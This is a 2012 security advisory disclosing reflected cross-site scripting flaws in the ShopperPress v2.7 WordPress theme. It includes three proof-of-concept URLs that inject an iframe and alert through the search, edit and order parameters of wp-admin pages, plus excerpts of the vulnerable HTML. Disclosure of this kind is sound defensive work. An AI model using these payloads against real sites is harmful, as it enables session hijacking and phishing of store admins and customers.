Title:
======
ShopperPress v2.7 Wordpress - Cross Site Vulnerabilities


Date:
=====
2012-08-02


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=670


VL-ID:
=====
670


Common Vulnerability Scoring System:
====================================
2.4


Introduction:
=============
ShopperPress is a Premium Wordpress theme with addon that transform Wordpress into a fully functionality online 
store with shopping cart functionality. ShopperPress is the ideal solution for anyone who wants to sell products 
& services, digital downloads or affiliate products online, you can even setup a catalog website. ShopperPress has 
been designed and tested to make setup and store management easy. Suitable for users of all levels, ShopperPress 
makes running an online store enjoyable whilst giving you all the professional tools required.ShopperPress has been 
optimized for search engines helping your store quickly rank high in all major search engines.You can also add-on 
Wordpress SEO plugins to help you customize meta tags and page titles. ShopperPress can create online stores, 
affiliate stores and even catalog websites. Every copy of ShopperPress includes Amazon, Ebay and CSV import tools, 
20+ payment gateways, 20+ store designs, shipping, tax, promotions, coupons, emails and lots more! ShopperPress 
includes 20+ different payment gateways allowing you to choose how your visitors pay for your products/services. 
We have integration for Paypal (standard and Pro), 2Checkout, Worldpay, eWay, Google Checkout, Authorize.net and 
lots more Built into ShopperPress are 20+ different store designs to choose from, all included free! Customizing 
your theme is quick and easy using the on/off display options found in the admin area with full support for 
plugins & widgets. ShopperPress has a built in order management system allowing you to manage your orders. You 
can easily view your order history, export to CSV, view product, billing and shipping details as well as print 
off customer invoices. With ShopperPress you can create custom product options such as colors and sizes. You 
can create up to 6 different product values which will be passed with the product to checkout as well as allow 
members to upload files. [24/7 Customer Support]We work hard to ensure our customers are 100% satisfied with our 
product which is why we offer a 24/7 customer support services.

(Copy of the Vendor Website:  http://shopperpress.com )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple cross site vulnerabilities in the Shopperpress Premium Wordpress Theme and Addon v2.7.


Report-Timeline:
================
2012-08-02:  Public Disclosure



Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
Multiple non persistent cross site scripting vulnerabilities are detected in the Shopperpress Premium Wordpress Theme and Addon v2.7.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with medium or high required user inter 
action. The bugs are located on client side in the search and edit module with the bound vulnerable id, search or order parameters. 
Successful exploitation can result in wordpress application account steal, client side phishing & client-side content request manipulation. 
Exploitation requires medium or high user inter action & without privileged web application user account.

Vulnerable Module(s):
        [+] Search
        [+] Page&Edit

Vulnerable Parameter(s):
        [+] search
        [+] id
        [+] order


Proof of Concept:
=================
The non persistent cross site scripting vulnerabilities can be exploited by remote attackers with medium or high required user inter action 
and without privileged user account. For demonstration or reproduce ...

PoC:
http://shopperpress.127.0.0.1:38/wp-admin/admin.php
?page=images&p=0&search=%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com+width%3D800+height%3D800onload%3Dalert%28%22VLAB%22%29+%3C

http://shopperpress.127.0.0.1:38/wp-admin/admin.php
?page=emails&edit=%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com+width%3D800+height%3D800onload%3Dalert%28%22VLAB%22%29+%3C

http://shopperpress.127.0.0.1:38/wp-admin/admin.php
?page=members&edit&order=0%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com+width%3D800+height%3D800onload%3Dalert%28%22VLAB%22%29+%3C


Review: File Manager

<fieldset style="padding:0px;">
<h2 style="float:left; padding-left:5px;">"><[CLIENT SIDE MALICIOUS SCRIPT CODE])" width="800">
<form method="get" name="SearchForm" action="admin.php" 
style="padding:5px; float:right;">
<input type="hidden" name="page" value="images" />
<input type="hidden" name="p" value="0" />
<input name="search" type="text" class="ppt-forminput" 
id="search">
<input type="submit" style="font-size:16px; background:#efefef; 
color:#666;padding:5px;" value="Search Files">
</form>
<div class="clearfix"></div>
<form class="plain" method="post" name="orderform" id="orderform">
<input type="hidden" name="deleteimages" value="1">
      
   
Review: Member Add/Edit Listing

<ul>
<li><a rel="premiumpress_tab1" href="#" class="active">Details</a></li>
<li><a href="#" onclick="window.location.href='admin.php
?page=orders&cid=5"><[CLIENT SIDE MALICIOUS SCRIPT CODE])" 
width="800">Order History</a></li>
<!--<li><a href="admin.php?page=members">Search Results</a></li>-->
</ul>
</div>
<div id="videobox1"></div>
<form method="post" target="_self" enctype="multipart/form-data">
<input name="action" type="hidden" value="edit" />
<input name="userdata[ID]" type="hidden" value="5"><[CLIENT SIDE MALICIOUS SCRIPT CODE]") <" />
<input type="hidden" value="" name="showThisTab" id="showThisTab" />
<div id="premiumpress_tab1" class="content">


Review: EMail Add/Edit

<div id="premiumpress_tab1" class="content">
<form class="fields" method="post" target="_self" enctype="multipart/form-data">
<input name="action" value="edit" type="hidden">
<input name="ID" value="" 
type="hidden"><[CLIENT SIDE MALICIOUS SCRIPT CODE];)" width="800">
<input type="hidden" name="form[email_type]" value="email" />
<fieldset>
<div class="titleh"><h3>Email Options</h3></div>


Solution:
=========
The vulnerability can be patched by parsing the orders, id & search web application parameters.


Risk:
=====
The security risk of the non persistent cross site scripting vulnerabilities are estimated as medium(-).


Credits:
========
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri (bkm@vulnerability-lab.com)


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===========
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